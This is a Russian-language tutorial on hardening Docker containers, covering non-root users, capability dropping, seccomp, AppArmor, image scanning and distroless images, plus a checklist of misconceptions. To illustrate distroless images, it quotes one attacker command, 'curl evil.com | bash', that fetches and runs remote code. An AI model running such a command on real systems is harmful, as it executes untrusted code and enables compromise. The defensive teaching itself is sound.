Концепции безопасности контейнеров

TL;DR: Контейнеры делят ядро с хостом — это НЕ VM. Защита: non-root user, --cap-drop=ALL, seccomp, минимальный образ, сканирование CVE.

Безопасность в Docker — это многослойный пирог. По умолчанию контейнеры “безопасны в меру”, но для продакшена требуются дополнительные меры защиты (Hardening). Основная цель — уменьшить поверхность атаки (Attack Surface) и ограничить ущерб в случае компрометации приложения внутри контейнера (Container Breakout).

1. Изоляция и её пределы

Контейнеры — это не виртуальные машины.

  • В VM: Гипервизор эмулирует железо. Ядро гостевой ОС изолировано от ядра хоста. Побег из VM (VM Escape) — редкое и сложное событие.
  • В Docker: Все контейнеры делят одно ядро (Linux Kernel) с хостом. Уязвимость в ядре (Kernel Panic или Exploit) может скомпрометировать весь сервер.

Правило №1: Не запускайте контейнеры с непроверенным кодом (Untrusted Workloads) на одном хосте с критически важными сервисами без использования специальных рантаймов (gVisor, Kata Containers).

2. Принцип наименьших привилегий (Least Privilege)

User Mapping (Запуск не от root)

По умолчанию процессы в контейнере работают от root (UID 0). Это удобно, но опасно. Если злоумышленник “сбежит” из контейнера, он станет root-ом на хосте.

Защита:

  1. Создавать пользователя в Dockerfile: RUN useradd -u 1000 appuser и USER appuser.
  2. Использовать Rootless Docker (демон работает от пользователя) или User Namespaces (root в контейнере = nobody на хосте).

Capabilities (Дробление прав root)

Linux Capabilities разбивают всемогущество root-а на мелкие права. Docker по умолчанию сбрасывает (DROP) самые опасные:

  • CAP_SYS_ADMIN (аналог “бога” в Linux).
  • CAP_SYS_MODULE (загрузка модулей ядра).
  • CAP_SYS_BOOT (перезагрузка хоста).

Но оставляет базовые: CAP_NET_BIND_SERVICE (биндить порты < 1024), CAP_CHOWN, CAP_SETUID.

Best Practice: Сбрасывайте вообще все привилегии (--cap-drop=ALL) и добавляйте только необходимые. Например, Nginx-у, слушающему порт 8080, не нужны никакие Capabilities.

3. Ограничение системных вызовов (Seccomp)

Приложение общается с ядром через системные вызовы (syscalls): open, read, write, socket. В ядре Linux их более 300. Большинству приложений нужно лишь 40-50. Остальные — потенциальный вектор атаки.

  • Seccomp (Secure Computing Mode): Фильтр системных вызовов.
  • Docker применяет Default Seccomp Profile, который блокирует ~44 опасных вызова (например, reboot, syslog, mount).
  • Если вашему приложению не нужно создавать новые процессы (fork/exec), можно заблокировать и их, сделав RCE-атаку бесполезной.

4. Мандатный контроль доступа (AppArmor / SELinux)

Это “вторая линия обороны” после прав доступа Linux (DAC). Даже если процесс работает от root, AppArmor может запретить ему писать в /etc/passwd.

  • Docker генерирует дефолтный профиль AppArmor (docker-default), который запрещает запись в критические директории /proc и /sys.
  • Попытка прочитать /proc/kcore из контейнера будет заблокирована AppArmor, даже если у процесса есть права на чтение.

5. Защита Supply Chain (Цепочки поставок)

Безопасность начинается до запуска контейнера (docker run).

  1. Trusted Base Images: Используйте официальные образы (library/node) или образы Verified Publishers. Избегайте образов от vasya_hacker/app.
  2. Scanning (Сканирование): Регулярно сканируйте образы на наличие CVE (уязвимостей) в библиотеках. (Инструменты: Trivy, Grype, Docker Scout).
  3. Minimal Images: В образах distroless нет командной оболочки (sh, bash). Даже если хакер найдет RCE-уязвимость в вашем коде, он не сможет выполнить curl evil.com | bash, потому что curl и bash просто отсутствуют.
  4. Signing (Подпись): Использование Docker Content Trust (Notary) гарантирует, что образ был создан именно вами и не был подменен по пути.

Резюме: Чек-лист безопасности

ВекторМера защиты
KernelОбновлять ядро хоста. Использовать gVisor для изоляции.
DaemonИспользовать Rootless Mode. Защищать сокет.
ContainerUSER 1000. --read-only rootfs. Лимиты ресурсов (CPU/RAM).
ImageМинимальный базовый образ. Сканирование на CVE.
Runtime--cap-drop=ALL. Seccomp/AppArmor профили.

Подводные камни

ЗаблуждениеРеальность
«Контейнер = изоляция как VM»Общее ядро. Уязвимость в ядре → компрометация хоста и всех контейнеров
«—privileged для удобства»--privileged отключает ВСЮ изоляцию. Контейнер получает полный доступ к хосту
«Root в контейнере безопасен»Без user namespaces root (UID 0) в контейнере = root на хосте
«Образ из Docker Hub безопасен»Даже official images содержат CVE. Сканируй Trivy/Grype перед деплоем